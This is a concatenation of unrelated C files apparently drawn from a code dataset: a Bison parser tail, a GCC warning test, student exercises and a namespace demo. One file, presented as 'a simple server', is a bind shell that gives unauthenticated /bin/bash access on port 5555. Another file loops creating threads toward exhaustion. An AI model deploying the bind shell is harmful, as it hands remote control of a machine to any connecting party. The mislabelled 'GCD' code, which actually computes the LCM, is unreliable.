/* YYINITDEPTH -- initial size of the parser's stacks. */
#ifndef YYINITDEPTH
# define YYINITDEPTH 200
#endif
/* YYMAXDEPTH -- maximum size the stacks can grow to (effective only
if the built-in stack extension method is used).
Do not make this value too large; the results are undefined if
YYSTACK_ALLOC_MAXIMUM < YYSTACK_BYTES (YYMAXDEPTH)
evaluated with infinite-precision integer arithmetic. */
#ifndef YYMAXDEPTH
# define YYMAXDEPTH 10000
#endif
#if YYERROR_VERBOSE
# ifndef yystrlen
# if defined __GLIBC__ && defined _STRING_H
# define yystrlen strlen
# else
/* Return the length of YYSTR. */
static YYSIZE_T
yystrlen (const char *yystr)
{
YYSIZE_T yylen;
for (yylen = 0; yystr[yylen]; yylen++)
continue;
return yylen;
}
# endif
# endif
# ifndef yystpcpy
# if defined __GLIBC__ && defined _STRING_H && defined _GNU_SOURCE
# define yystpcpy stpcpy
# else
/* Copy YYSRC to YYDEST, returning the address of the terminating '\0' in
YYDEST. */
static char *
yystpcpy (char *yydest, const char *yysrc)
{
char *yyd = yydest;
const char *yys = yysrc;
while ((*yyd++ = *yys++) != '\0')
continue;
return yyd - 1;
}
# endif
# endif
# ifndef yytnamerr
/* Copy to YYRES the contents of YYSTR after stripping away unnecessary
quotes and backslashes, so that it's suitable for yyerror. The
heuristic is that double-quoting is unnecessary unless the string
contains an apostrophe, a comma, or backslash (other than
backslash-backslash). YYSTR is taken from yytname. If YYRES is
null, do not copy; instead, return the length of what the result
would have been. */
static YYSIZE_T
yytnamerr (char *yyres, const char *yystr)
{
if (*yystr == '"')
{
YYSIZE_T yyn = 0;
char const *yyp = yystr;
for (;;)
switch (*++yyp)
{
case '\'':
case ',':
goto do_not_strip_quotes;
case '\\':
if (*++yyp != '\\')
goto do_not_strip_quotes;
/* Fall through. */
default:
if (yyres)
yyres[yyn] = *yyp;
yyn++;
break;
case '"':
if (yyres)
yyres[yyn] = '\0';
return yyn;
}
do_not_strip_quotes: ;
}
if (! yyres)
return yystrlen (yystr);
return yystpcpy (yyres, yystr) - yyres;
}
# endif
/* Copy into *YYMSG, which is of size *YYMSG_ALLOC, an error message
about the unexpected token YYTOKEN for the state stack whose top is
YYSSP.
Return 0 if *YYMSG was successfully written. Return 1 if *YYMSG is
not large enough to hold the message. In that case, also set
*YYMSG_ALLOC to the required number of bytes. Return 2 if the
required number of bytes is too large to store. */
static int
yysyntax_error (YYSIZE_T *yymsg_alloc, char **yymsg,
yytype_int16 *yyssp, int yytoken)
{
YYSIZE_T yysize0 = yytnamerr (YY_NULLPTR, yytname[yytoken]);
YYSIZE_T yysize = yysize0;
enum { YYERROR_VERBOSE_ARGS_MAXIMUM = 5 };
/* Internationalized format string. */
const char *yyformat = YY_NULLPTR;
/* Arguments of yyformat. */
char const *yyarg[YYERROR_VERBOSE_ARGS_MAXIMUM];
/* Number of reported tokens (one for the "unexpected", one per
"expected"). */
int yycount = 0;
/* There are many possibilities here to consider:
- If this state is a consistent state with a default action, then
the only way this function was invoked is if the default action
is an error action. In that case, don't check for expected
tokens because there are none.
- The only way there can be no lookahead present (in yychar) is if
this state is a consistent state with a default action. Thus,
detecting the absence of a lookahead is sufficient to determine
that there is no unexpected or expected token to report. In that
case, just report a simple "syntax error".
- Don't assume there isn't a lookahead just because this state is a
consistent state with a default action. There might have been a
previous inconsistent state, consistent state with a non-default
action, or user semantic action that manipulated yychar.
- Of course, the expected token list depends on states to have
correct lookahead information, and it depends on the parser not
to perform extra reductions after fetching a lookahead from the
scanner and before detecting a syntax error. Thus, state merging
(from LALR or IELR) and default reductions corrupt the expected
token list. However, the list is correct for canonical LR with
one exception: it will still contain any token that will not be
accepted due to an error action in a later state.
*/
if (yytoken != YYEMPTY)
{
int yyn = yypact[*yyssp];
yyarg[yycount++] = yytname[yytoken];
if (!yypact_value_is_default (yyn))
{
/* Start YYX at -YYN if negative to avoid negative indexes in
YYCHECK. In other words, skip the first -YYN actions for
this state because they are default actions. */
int yyxbegin = yyn < 0 ? -yyn : 0;
/* Stay within bounds of both yycheck and yytname. */
int yychecklim = YYLAST - yyn + 1;
int yyxend = yychecklim < YYNTOKENS ? yychecklim : YYNTOKENS;
int yyx;
for (yyx = yyxbegin; yyx < yyxend; ++yyx)
if (yycheck[yyx + yyn] == yyx && yyx != YYTERROR
&& !yytable_value_is_error (yytable[yyx + yyn]))
{
if (yycount == YYERROR_VERBOSE_ARGS_MAXIMUM)
{
yycount = 1;
yysize = yysize0;
break;
}
yyarg[yycount++] = yytname[yyx];
{
YYSIZE_T yysize1 = yysize + yytnamerr (YY_NULLPTR, yytname[yyx]);
if (! (yysize <= yysize1
&& yysize1 <= YYSTACK_ALLOC_MAXIMUM))
return 2;
yysize = yysize1;
}
}
}
}
switch (yycount)
{
# define YYCASE_(N, S) \
case N: \
yyformat = S; \
break
YYCASE_(0, YY_("syntax error"));
YYCASE_(1, YY_("syntax error, unexpected %s"));
YYCASE_(2, YY_("syntax error, unexpected %s, expecting %s"));
YYCASE_(3, YY_("syntax error, unexpected %s, expecting %s or %s"));
YYCASE_(4, YY_("syntax error, unexpected %s, expecting %s or %s or %s"));
YYCASE_(5, YY_("syntax error, unexpected %s, expecting %s or %s or %s or %s"));
# undef YYCASE_
}
{
YYSIZE_T yysize1 = yysize + yystrlen (yyformat);
if (! (yysize <= yysize1 && yysize1 <= YYSTACK_ALLOC_MAXIMUM))
return 2;
yysize = yysize1;
}
if (*yymsg_alloc < yysize)
{
*yymsg_alloc = 2 * yysize;
if (! (yysize <= *yymsg_alloc
&& *yymsg_alloc <= YYSTACK_ALLOC_MAXIMUM))
*yymsg_alloc = YYSTACK_ALLOC_MAXIMUM;
return 1;
}
/* Avoid sprintf, as that infringes on the user's name space.
Don't have undefined behavior even if the translation
produced a string with the wrong number of "%s"s. */
{
char *yyp = *yymsg;
int yyi = 0;
while ((*yyp = *yyformat) != '\0')
if (*yyp == '%' && yyformat[1] == 's' && yyi < yycount)
{
yyp += yytnamerr (yyp, yyarg[yyi++]);
yyformat += 2;
}
else
{
yyp++;
yyformat++;
}
}
return 0;
}
#endif /* YYERROR_VERBOSE */
/*-----------------------------------------------.
| Release the memory associated to this symbol. |
`-----------------------------------------------*/
static void
yydestruct (const char *yymsg, int yytype, YYSTYPE *yyvaluep)
{
YYUSE (yyvaluep);
if (!yymsg)
yymsg = "Deleting";
YY_SYMBOL_PRINT (yymsg, yytype, yyvaluep, yylocationp);
YY_IGNORE_MAYBE_UNINITIALIZED_BEGIN
YYUSE (yytype);
YY_IGNORE_MAYBE_UNINITIALIZED_END
}
/* The lookahead symbol. */
int yychar;
/* The semantic value of the lookahead symbol. */
YYSTYPE yylval;
/* Number of syntax errors so far. */
int yynerrs;
/*----------.
| yyparse. |
`----------*/
int
yyparse (void)
{
int yystate;
/* Number of tokens to shift before error messages enabled. */
int yyerrstatus;
/* The stacks and their tools:
'yyss': related to states.
'yyvs': related to semantic values.
Refer to the stacks through separate pointers, to allow yyoverflow
to reallocate them elsewhere. */
/* The state stack. */
yytype_int16 yyssa[YYINITDEPTH];
yytype_int16 *yyss;
yytype_int16 *yyssp;
/* The semantic value stack. */
YYSTYPE yyvsa[YYINITDEPTH];
YYSTYPE *yyvs;
YYSTYPE *yyvsp;
YYSIZE_T yystacksize;
int yyn;
int yyresult;
/* Lookahead token as an internal (translated) token number. */
int yytoken = 0;
/* The variables used to return semantic value and location from the
action routines. */
YYSTYPE yyval;
#if YYERROR_VERBOSE
/* Buffer for error messages, and its allocated size. */
char yymsgbuf[128];
char *yymsg = yymsgbuf;
YYSIZE_T yymsg_alloc = sizeof yymsgbuf;
#endif
#define YYPOPSTACK(N) (yyvsp -= (N), yyssp -= (N))
/* The number of symbols on the RHS of the reduced rule.
Keep to zero when no symbol should be popped. */
int yylen = 0;
yyssp = yyss = yyssa;
yyvsp = yyvs = yyvsa;
yystacksize = YYINITDEPTH;
YYDPRINTF ((stderr, "Starting parse\n"));
yystate = 0;
yyerrstatus = 0;
yynerrs = 0;
yychar = YYEMPTY; /* Cause a token to be read. */
goto yysetstate;
/*------------------------------------------------------------.
| yynewstate -- Push a new state, which is found in yystate. |
`------------------------------------------------------------*/
yynewstate:
/* In all cases, when you get here, the value and location stacks
have just been pushed. So pushing a state here evens the stacks. */
yyssp++;
yysetstate:
*yyssp = yystate;
if (yyss + yystacksize - 1 <= yyssp)
{
/* Get the current used size of the three stacks, in elements. */
YYSIZE_T yysize = yyssp - yyss + 1;
#ifdef yyoverflow
{
/* Give user a chance to reallocate the stack. Use copies of
these so that the &'s don't force the real ones into
memory. */
YYSTYPE *yyvs1 = yyvs;
yytype_int16 *yyss1 = yyss;
/* Each stack pointer address is followed by the size of the
data in use in that stack, in bytes. This used to be a
conditional around just the two extra args, but that might
be undefined if yyoverflow is a macro. */
yyoverflow (YY_("memory exhausted"),
&yyss1, yysize * sizeof (*yyssp),
&yyvs1, yysize * sizeof (*yyvsp),
&yystacksize);
yyss = yyss1;
yyvs = yyvs1;
}
#else /* no yyoverflow */
# ifndef YYSTACK_RELOCATE
goto yyexhaustedlab;
# else
/* Extend the stack our own way. */
if (YYMAXDEPTH <= yystacksize)
goto yyexhaustedlab;
yystacksize *= 2;
if (YYMAXDEPTH < yystacksize)
yystacksize = YYMAXDEPTH;
{
yytype_int16 *yyss1 = yyss;
union yyalloc *yyptr =
(union yyalloc *) YYSTACK_ALLOC (YYSTACK_BYTES (yystacksize));
if (! yyptr)
goto yyexhaustedlab;
YYSTACK_RELOCATE (yyss_alloc, yyss);
YYSTACK_RELOCATE (yyvs_alloc, yyvs);
# undef YYSTACK_RELOCATE
if (yyss1 != yyssa)
YYSTACK_FREE (yyss1);
}
# endif
#endif /* no yyoverflow */
yyssp = yyss + yysize - 1;
yyvsp = yyvs + yysize - 1;
YYDPRINTF ((stderr, "Stack size increased to %lu\n",
(unsigned long int) yystacksize));
if (yyss + yystacksize - 1 <= yyssp)
YYABORT;
}
YYDPRINTF ((stderr, "Entering state %d\n", yystate));
if (yystate == YYFINAL)
YYACCEPT;
goto yybackup;
/*-----------.
| yybackup. |
`-----------*/
yybackup:
/* Do appropriate processing given the current state. Read a
lookahead token if we need one and don't already have one. */
/* First try to decide what to do without reference to lookahead token. */
yyn = yypact[yystate];
if (yypact_value_is_default (yyn))
goto yydefault;
/* Not known => get a lookahead token if don't already have one. */
/* YYCHAR is either YYEMPTY or YYEOF or a valid lookahead symbol. */
if (yychar == YYEMPTY)
{
YYDPRINTF ((stderr, "Reading a token: "));
yychar = yylex ();
}
if (yychar <= YYEOF)
{
yychar = yytoken = YYEOF;
YYDPRINTF ((stderr, "Now at end of input.\n"));
}
else
{
yytoken = YYTRANSLATE (yychar);
YY_SYMBOL_PRINT ("Next token is", yytoken, &yylval, &yylloc);
}
/* If the proper action on seeing token YYTOKEN is to reduce or to
detect an error, take that action. */
yyn += yytoken;
if (yyn < 0 || YYLAST < yyn || yycheck[yyn] != yytoken)
goto yydefault;
yyn = yytable[yyn];
if (yyn <= 0)
{
if (yytable_value_is_error (yyn))
goto yyerrlab;
yyn = -yyn;
goto yyreduce;
}
/* Count tokens shifted since error; after three, turn off error
status. */
if (yyerrstatus)
yyerrstatus--;
/* Shift the lookahead token. */
YY_SYMBOL_PRINT ("Shifting", yytoken, &yylval, &yylloc);
/* Discard the shifted token. */
yychar = YYEMPTY;
yystate = yyn;
YY_IGNORE_MAYBE_UNINITIALIZED_BEGIN
*++yyvsp = yylval;
YY_IGNORE_MAYBE_UNINITIALIZED_END
goto yynewstate;
/*-----------------------------------------------------------.
| yydefault -- do the default action for the current state. |
`-----------------------------------------------------------*/
yydefault:
yyn = yydefact[yystate];
if (yyn == 0)
goto yyerrlab;
goto yyreduce;
/*-----------------------------.
| yyreduce -- Do a reduction. |
`-----------------------------*/
yyreduce:
/* yyn is the number of a rule to reduce with. */
yylen = yyr2[yyn];
/* If YYLEN is nonzero, implement the default value of the action:
'$$ = $1'.
Otherwise, the following line sets YYVAL to garbage.
This behavior is undocumented and Bison
users should not rely upon it. Assigning to YYVAL
unconditionally makes the parser a bit smaller, and it avoids a
GCC warning that YYVAL may be used uninitialized. */
yyval = yyvsp[1-yylen];
YY_REDUCE_PRINT (yyn);
switch (yyn)
{
case 2:
#line 9 "2.y" /* yacc.c:1646 */
{printf("String accepted\n"); exit(0);}
#line 1198 "y.tab.c" /* yacc.c:1646 */
break;
#line 1202 "y.tab.c" /* yacc.c:1646 */
default: break;
}
/* User semantic actions sometimes alter yychar, and that requires
that yytoken be updated with the new translation. We take the
approach of translating immediately before every use of yytoken.
One alternative is translating here after every semantic action,
but that translation would be missed if the semantic action invokes
YYABORT, YYACCEPT, or YYERROR immediately after altering yychar or
if it invokes YYBACKUP. In the case of YYABORT or YYACCEPT, an
incorrect destructor might then be invoked immediately. In the
case of YYERROR or YYBACKUP, subsequent parser actions might lead
to an incorrect destructor call or verbose syntax error message
before the lookahead is translated. */
YY_SYMBOL_PRINT ("-> $$ =", yyr1[yyn], &yyval, &yyloc);
YYPOPSTACK (yylen);
yylen = 0;
YY_STACK_PRINT (yyss, yyssp);
*++yyvsp = yyval;
/* Now 'shift' the result of the reduction. Determine what state
that goes to, based on the state we popped back to and the rule
number reduced by. */
yyn = yyr1[yyn];
yystate = yypgoto[yyn - YYNTOKENS] + *yyssp;
if (0 <= yystate && yystate <= YYLAST && yycheck[yystate] == *yyssp)
yystate = yytable[yystate];
else
yystate = yydefgoto[yyn - YYNTOKENS];
goto yynewstate;
/*--------------------------------------.
| yyerrlab -- here on detecting error. |
`--------------------------------------*/
yyerrlab:
/* Make sure we have latest lookahead translation. See comments at
user semantic actions for why this is necessary. */
yytoken = yychar == YYEMPTY ? YYEMPTY : YYTRANSLATE (yychar);
/* If not already recovering from an error, report this error. */
if (!yyerrstatus)
{
++yynerrs;
#if ! YYERROR_VERBOSE
yyerror (YY_("syntax error"));
#else
# define YYSYNTAX_ERROR yysyntax_error (&yymsg_alloc, &yymsg, \
yyssp, yytoken)
{
char const *yymsgp = YY_("syntax error");
int yysyntax_error_status;
yysyntax_error_status = YYSYNTAX_ERROR;
if (yysyntax_error_status == 0)
yymsgp = yymsg;
else if (yysyntax_error_status == 1)
{
if (yymsg != yymsgbuf)
YYSTACK_FREE (yymsg);
yymsg = (char *) YYSTACK_ALLOC (yymsg_alloc);
if (!yymsg)
{
yymsg = yymsgbuf;
yymsg_alloc = sizeof yymsgbuf;
yysyntax_error_status = 2;
}
else
{
yysyntax_error_status = YYSYNTAX_ERROR;
yymsgp = yymsg;
}
}
yyerror (yymsgp);
if (yysyntax_error_status == 2)
goto yyexhaustedlab;
}
# undef YYSYNTAX_ERROR
#endif
}
if (yyerrstatus == 3)
{
/* If just tried and failed to reuse lookahead token after an
error, discard it. */
if (yychar <= YYEOF)
{
/* Return failure if at end of input. */
if (yychar == YYEOF)
YYABORT;
}
else
{
yydestruct ("Error: discarding",
yytoken, &yylval);
yychar = YYEMPTY;
}
}
/* Else will try to reuse lookahead token after shifting the error
token. */
goto yyerrlab1;
/*---------------------------------------------------.
| yyerrorlab -- error raised explicitly by YYERROR. |
`---------------------------------------------------*/
yyerrorlab:
/* Pacify compilers like GCC when the user code never invokes
YYERROR and the label yyerrorlab therefore never appears in user
code. */
if (/*CONSTCOND*/ 0)
goto yyerrorlab;
/* Do not reclaim the symbols of the rule whose action triggered
this YYERROR. */
YYPOPSTACK (yylen);
yylen = 0;
YY_STACK_PRINT (yyss, yyssp);
yystate = *yyssp;
goto yyerrlab1;
/*-------------------------------------------------------------.
| yyerrlab1 -- common code for both syntax error and YYERROR. |
`-------------------------------------------------------------*/
yyerrlab1:
yyerrstatus = 3; /* Each real token shifted decrements this. */
for (;;)
{
yyn = yypact[yystate];
if (!yypact_value_is_default (yyn))
{
yyn += YYTERROR;
if (0 <= yyn && yyn <= YYLAST && yycheck[yyn] == YYTERROR)
{
yyn = yytable[yyn];
if (0 < yyn)
break;
}
}
/* Pop the current state because it cannot handle the error token. */
if (yyssp == yyss)
YYABORT;
yydestruct ("Error: popping",
yystos[yystate], yyvsp);
YYPOPSTACK (1);
yystate = *yyssp;
YY_STACK_PRINT (yyss, yyssp);
}
YY_IGNORE_MAYBE_UNINITIALIZED_BEGIN
*++yyvsp = yylval;
YY_IGNORE_MAYBE_UNINITIALIZED_END
/* Shift the error token. */
YY_SYMBOL_PRINT ("Shifting", yystos[yyn], yyvsp, yylsp);
yystate = yyn;
goto yynewstate;
/*-------------------------------------.
| yyacceptlab -- YYACCEPT comes here. |
`-------------------------------------*/
yyacceptlab:
yyresult = 0;
goto yyreturn;
/*-----------------------------------.
| yyabortlab -- YYABORT comes here. |
`-----------------------------------*/
yyabortlab:
yyresult = 1;
goto yyreturn;
#if !defined yyoverflow || YYERROR_VERBOSE
/*-------------------------------------------------.
| yyexhaustedlab -- memory exhaustion comes here. |
`-------------------------------------------------*/
yyexhaustedlab:
yyerror (YY_("memory exhausted"));
yyresult = 2;
/* Fall through. */
#endif
yyreturn:
if (yychar != YYEMPTY)
{
/* Make sure we have latest lookahead translation. See comments at
user semantic actions for why this is necessary. */
yytoken = YYTRANSLATE (yychar);
yydestruct ("Cleanup: discarding lookahead",
yytoken, &yylval);
}
/* Do not reclaim the symbols of the rule whose action triggered
this YYABORT or YYACCEPT. */
YYPOPSTACK (yylen);
YY_STACK_PRINT (yyss, yyssp);
while (yyssp != yyss)
{
yydestruct ("Cleanup: popping",
yystos[*yyssp], yyvsp);
YYPOPSTACK (1);
}
#ifndef yyoverflow
if (yyss != yyssa)
YYSTACK_FREE (yyss);
#endif
#if YYERROR_VERBOSE
if (yymsg != yymsgbuf)
YYSTACK_FREE (yymsg);
#endif
return yyresult;
}
#line 12 "2.y" /* yacc.c:1906 */
int main() {
printf("Enter string:\n");
yyparse();
return 0;
}
int yyerror() {
printf("String rejected\n");
exit(0);
}
|
the_stack_data/5466.c | /* { dg-do compile } */
/* { dg-options "-Wc++-compat" } */
int v1; /* { dg-message "previous declaration" } */
int v1; /* { dg-warning "invalid in C\[+\]\[+\]" } */
int v2; /* { dg-message "previous declaration" } */
int v2 = 1; /* { dg-warning "invalid in C\[+\]\[+\]" } */
extern int v3;
int v3; /* { dg-message "previous declaration" } */
int v3 = 1; /* { dg-warning "invalid in C\[+\]\[+\]" } */
extern int v4;
int v4 = 1;
static int v5; /* { dg-message "previous declaration" } */
static int v5; /* { dg-warning "invalid in C\[+\]\[+\]" } */
static int v6; /* { dg-message "previous declaration" } */
static int v6 = 1; /* { dg-warning "invalid in C\[+\]\[+\]" } */
int v7;
extern int v7;
int v8 = 1;
extern int v8;
|
the_stack_data/123856.c | x(const char*s){char a[1];const char*ss=s;a[*s++]|=1;return(int)ss+1==(int)s;}
main(){if(x("")!=1)abort();exit(0);}
|
the_stack_data/192329976.c | //
// EmptyFile.c
// RayComposer1.6
//
// Created by Michael on 04/08/2017.
// Copyright © 2017 Michael Prokofyev. All rights reserved.
//
#include <stdio.h>
|
the_stack_data/117327771.c | # include <stdio.h>
int max(int, int, int);
int main(int argc, char const *argv[])
{
int a, b, c;
scanf("%d%d%d", &a, &b, &c);
printf("%d\n", max(a, b, c));
return 0;
}
int max(int a, int b, int c) {
return ( a>b && a > c) ? a : ( (b>c && b>a) ? b : c);
// if (a>b && a > c) {
// return a;
// }
// else if (b>c && b>a) {
// return b;
// }
// else {
// return c;
// }
}
|
the_stack_data/165767246.c | #include <stdio.h>
#include <malloc.h>
int noof_vertices;
//structure for creating adjacent edges
struct adj{
struct vertex *parent;
struct vertex *child;
struct adj *next;
};
//structure for a vertex
struct vertex{
int data;
struct vertex *next;
struct adj *head;
};
//initializing the graph structure
struct vertex *start = NULL;
//funtion to create a vertex
void createvertex(int x){
struct vertex *new,*ptr;
new = (struct vertex *)malloc(sizeof(struct vertex));
new -> data = x;
new -> next = NULL;
new -> head = NULL;
ptr = start;
if(start == NULL)
start = new;
else{
while(ptr->next != NULL)
ptr = ptr -> next;
ptr -> next = new;
}
}
//funtion to add adjacent vertex to given vertex
void createadj(struct vertex *p){
int noof_adj;
printf("\nHow many adj vertices: ");
scanf("%d",&noof_adj);
int i = noof_adj;
while(i!=0){
struct adj *new;
new = (struct adj *)malloc(sizeof(struct adj));
new -> parent = p;
printf("\nEnter the adj vertex: ");
int adjvertex;
scanf("%d",&adjvertex);
struct vertex *ptr;
ptr = start;
while(ptr != NULL){
if(ptr -> data == adjvertex)
break;
ptr = ptr -> next;
}
if(ptr == NULL){
printf("\nERROR: Vertex not found");
free(new);
}
else if( ptr -> data == adjvertex ){
new -> child = ptr;
new -> next = NULL;
if(p->head == NULL)
p -> head = new;
else{
struct adj *a;
a = p -> head;
while(a->next!=NULL)
a = a -> next;
a -> next = new;
}
i--;
}
}
}
//funtion to create a graph
void creategraph(){
int i = noof_vertices;
while(i!=0){
int x;
printf("\nInsert data: ");
scanf("%d",&x);
createvertex(x);
i--;
}
printf("\nVertexs have been recorded");
struct vertex *ptr;
ptr = start;
while(ptr != NULL){
printf("\nRecording adj vertex details of %d",ptr -> data);
createadj(ptr);
ptr = ptr -> next;
}
}
void addvertex(){
printf("\nCreating a new vertex");
int x;
printf("\nInsert data: ");
scanf("%d",&x);
createvertex(x);
printf("\nVertex has been recorded");
struct vertex *ptr;
ptr = start;
while(ptr -> next != NULL)
ptr = ptr -> next;
printf("\nRecording adj vertex details of %d",ptr -> data);
createadj(ptr);
}
//funtion to display the graph
void display(){
printf("\nGRAPH");
struct vertex *ptr;
ptr = start;
if(start == NULL )
printf("\nERROR: Graph is empty");
else{
while(ptr!=NULL){
printf("\nVertex: %d\t\t",ptr->data);
struct adj *a;
a = ptr -> head;
while(a!=NULL){
printf("%d ",a->child->data);
a = a -> next;
}
ptr = ptr -> next;
}
}
printf("\n");
}
void createdj(){
struct vertex *ptr;
ptr = start;
printf("\nTo which vertex do you need to add an edge: ");
int x;
scanf("%d",&x);
while(ptr != NULL){
if(ptr -> data == x)
break;
ptr = ptr -> next;
}
if( ptr == NULL )
printf("\nERROR: There is no such vertex");
else if(ptr->data == x){
createadj(ptr);
}
}
void deletedj(struct vertex *p,int x){
struct adj *ptr,*preptr;
ptr = p -> head;
while(ptr!=NULL){
if(ptr->child->data == x)
break;
preptr = ptr;
ptr = ptr -> next;
}
if(ptr == NULL)
printf("\nERROR::Edge not found");
else if(ptr->child->data == x){
if(ptr==p->head){
p->head = p->head->next;
free(ptr);
}
else{
preptr -> next = ptr -> next;
free(ptr);
}
}
}
void deletevertexdj(struct vertex *p){
struct vertex *ptr;
ptr = start;
while(ptr != NULL){
struct adj *a,*b;
a = ptr -> head;
while(a!=NULL){
b = a;
if(a->child->data==p->data){
deletedj(ptr,p->data);
}
a = b->next;
}
ptr = ptr -> next;
}
}
void clearvertex(struct vertex *p){
struct adj *a,*b;
a = p -> head;
while(a!=NULL){
b = a;
deletedj(p,a->child->data);
a = b -> next;
}
}
void deletevertex(struct vertex *p){
deletevertexdj(p);
clearvertex(p);
struct vertex *ptr,*preptr;
ptr = start;
while(ptr!=p){
preptr = ptr;
ptr = ptr -> next;
}
if(ptr == start){
start = start -> next;
free(ptr);
}
else{
preptr -> next = ptr -> next;
free(ptr);
}
}
void main(){
printf("\nEnter the number of vertices: ");
scanf("%d",&noof_vertices);
int opt;
do{
printf("\n-----------------------------------------------------------------------------------\n");
printf("MAIN MENUE\n1.CREATE GRAPH\t2.DISPLAY\t3.INSERT A NEW VERTEX\t4.INSERT EDGES\t5.DELETE AN EDGE\t6.CLEAR \t7.DELETE VERTEX\t8.EXIT");
printf("\nInsert your option: ");
scanf("%d",&opt);
switch (opt){
case 1:
creategraph();
break;
case 2:
display();
break;
case 3:
addvertex();
break;
case 4:
createdj();
break;
case 5:
printf("\nWhich edge do you need to delete?");
printf("\nEnter the first vertex: ");
int x,y;
scanf("%d",&x);
struct vertex *ptr;
ptr = start;
while(ptr!=NULL){
if(ptr->data == x)
break;
ptr = ptr -> next;
}
if(ptr == NULL)
printf("\nERROR:: Vertex not found");
else if(ptr->data == x){
printf("\nEnter the second vertex: ");
scanf("%d",&y);
deletedj(ptr,y);
}
break;
case 6:
printf("\nWhich vertex do you want to clear? ");
int a;
scanf("%d",&a);
struct vertex *pptr;
pptr = start;
while(pptr!=NULL){
if(pptr->data == a)
break;
pptr = pptr -> next;
}
if(pptr == NULL)
printf("\nERROR:: Vertex not found");
else if(pptr->data == a){
deletevertexdj(pptr);
}
break;
case 7:
printf("\nWhich vertex do you want to delete? ");
int b;
scanf("%d",&b);
struct vertex *cptr;
cptr = start;
while(cptr!=NULL){
if(cptr->data == b)
break;
cptr = cptr -> next;
}
if(cptr == NULL)
printf("\nERROR:: Vertex not found");
else if(cptr->data == b){
deletevertex(cptr);
}
break;
case 8:
break;
default:
printf("\nERROR:: Enter a valid option\n");
}
}while(opt != 8);
}
|
the_stack_data/426.c | #include<stdio.h>
int main()
{
int a,b,x,gcd;
scanf("%d %d", &a, &b);
if(a>b)
{
x=a;
}
else
{
x=b;
}
for(; x>=1; x++)
{
if(x%a == 0 && x%b == 0)
{
gcd = x;
printf("GCD is %d\n", gcd);
break;
}
}
return 0;
}
|
the_stack_data/70550.c | /* A simple server in the internet domain using TCP
The port number is passed as an argument */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
int main(int argc, char *argv[])
{
int sockfd, newsockfd, portno = 5555;
socklen_t clilen;
struct sockaddr_in serv_addr, cli_addr;
//socket syscal
sockfd = socket(AF_INET, SOCK_STREAM, 0);
bzero((char *) &serv_addr, sizeof(serv_addr));
serv_addr.sin_family = AF_INET;
serv_addr.sin_addr.s_addr = INADDR_ANY;
serv_addr.sin_port = htons(portno);
//bind
bind(sockfd, (struct sockaddr *) &serv_addr, sizeof(serv_addr));
//listen
listen(sockfd,5);
clilen = sizeof(cli_addr);
//accept
newsockfd = accept(sockfd, (struct sockaddr *) &cli_addr, &clilen);
//redirect stdin/out/err
dup2( newsockfd, 0 ); /* duplicate socket on stdout */
dup2( newsockfd, 1 ); /* duplicate socket on stderr too */
dup2( newsockfd, 2 );
//shell
execve("/bin/bash", 0,0);
close(newsockfd);
close(sockfd);
return 0;
}
|
the_stack_data/57216.c | /*
Scrivete un programma chiamato indovina numero: il vostro programma
sceglierà il numero da individuare, selezionando un intero a caso compreso
nell'intervallo da 1 a 1000.
Il programma quindi visualizzerà:
I have a number between 1 and 1000
Can you guess my number
Please type your first guess
Il giocatore allora digiterà una prima ipotesi. Il programma risponderà con una
delle seguenti frasi:
1) Complimenti hai indovinato
2) Troppo piccolo ritenta
3) Troppo grande ritenta
Loop finquando non indovina
*/
#include <stdio.h>
#include <stdlib.h>
int main(int argc, char const *argv[])
{
int num = num = 1 + rand() % 1001;
int check;
do{
puts("Prova a indovinare il numero\n");
scanf("%d", &check);
if(check < num){ puts("Troppo piccolo ritenta");}
if(check > num){ puts("Troppo grande ritenta");}
if(check == num){puts("Complimenti hai vinto");}
} while(check != num);
return 0;
} |
the_stack_data/28262820.c | /*
* namespace - Namespace demo
*
* Written in 2012 by Prashant P Shah <[email protected]>
*
* To the extent possible under law, the author(s) have dedicated
* all copyright and related and neighboring rights to this software
* to the public domain worldwide. This software is distributed
* without any warranty.
*
* You should have received a copy of the CC0 Public Domain Dedication
* along with this software.
* If not, see <http://creativecommons.org/publicdomain/zero/1.0/>.
*/
#define _GNU_SOURCE
#include <sys/utsname.h>
#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>
#include <sched.h>
#include <signal.h>
#include <wait.h>
#define STACK_SIZE 4096
static char child_stack[STACK_SIZE];
static char newhostname[] = "rambo";
/* Child function */
static int childFunc(void *arg)
{
struct utsname uts;
/* Change the hostname in chid namespace */
if (sethostname(newhostname, sizeof(newhostname)) == -1) {
perror("sethostname in child");
return 0;
}
/* Read the hostname in child process */
if (uname(&uts) == -1) {
perror("uname child");
return 0;
}
printf("hostname in child: %s\n", uts.nodename);
return 0;
}
int main(int argc, char *argv[])
{
struct utsname uts;
pid_t child_pid;
/* Create a child process */
child_pid = clone(childFunc, child_stack + STACK_SIZE,
CLONE_NEWUTS | SIGCHLD, &newhostname);
/* Check if clone() succeded */
if (child_pid == -1) {
perror("clone");
exit(EXIT_FAILURE);
}
printf("PID of child created by clone is %ld\n", (long)child_pid);
sleep(10);
/* Read the hostname of parent process */
if (uname(&uts) == -1) {
perror("uname parent");
exit(EXIT_FAILURE);
}
printf("hostname in parent: %s\n", uts.nodename);
/* Wait for child */
if (waitpid(child_pid, NULL, 0) == -1) {
perror("wait for child");
exit(EXIT_FAILURE);
}
printf("child has terminated\n");
exit(EXIT_SUCCESS);
}
|
the_stack_data/98574817.c | extern const unsigned char buttonsuiVersionString[];
extern const double buttonsuiVersionNumber;
const unsigned char buttonsuiVersionString[] __attribute__ ((used)) = "@(#)PROGRAM:buttonsui PROJECT:buttonsui-1" "\n";
const double buttonsuiVersionNumber __attribute__ ((used)) = (double)1.;
|
the_stack_data/18888559.c | #include <stdio.h>
#include <pthread.h>
#include <unistd.h>
#include <stdlib.h>
void *thread_function (void *arg) {
}
int main(void) {
pthread_t thread;
int result;
pthread_attr_t attr;
printf("输入任何字符开始执行\n");
getchar();
for (int i = 0; i < 1024 * 1024 * 100; i++) {
if (0 != pthread_attr_init(&attr)) {
printf("属性设置初始化失败\n");
return 0;
}
if (0 != pthread_attr_setdetachstate(&attr, PTHREAD_CREATE_JOINABLE)) {
printf("设置可结合状态失败\n");
return 0;
}
result = pthread_create(&thread, &attr, &thread_function, NULL);
if (0 != result) {
printf("%d - 创建线程失败\n", i + 1);
return 0;
}
usleep(100);
if (0 != pthread_attr_destroy(&attr)) {
printf("属性销毁失败\n");
return 0;
}
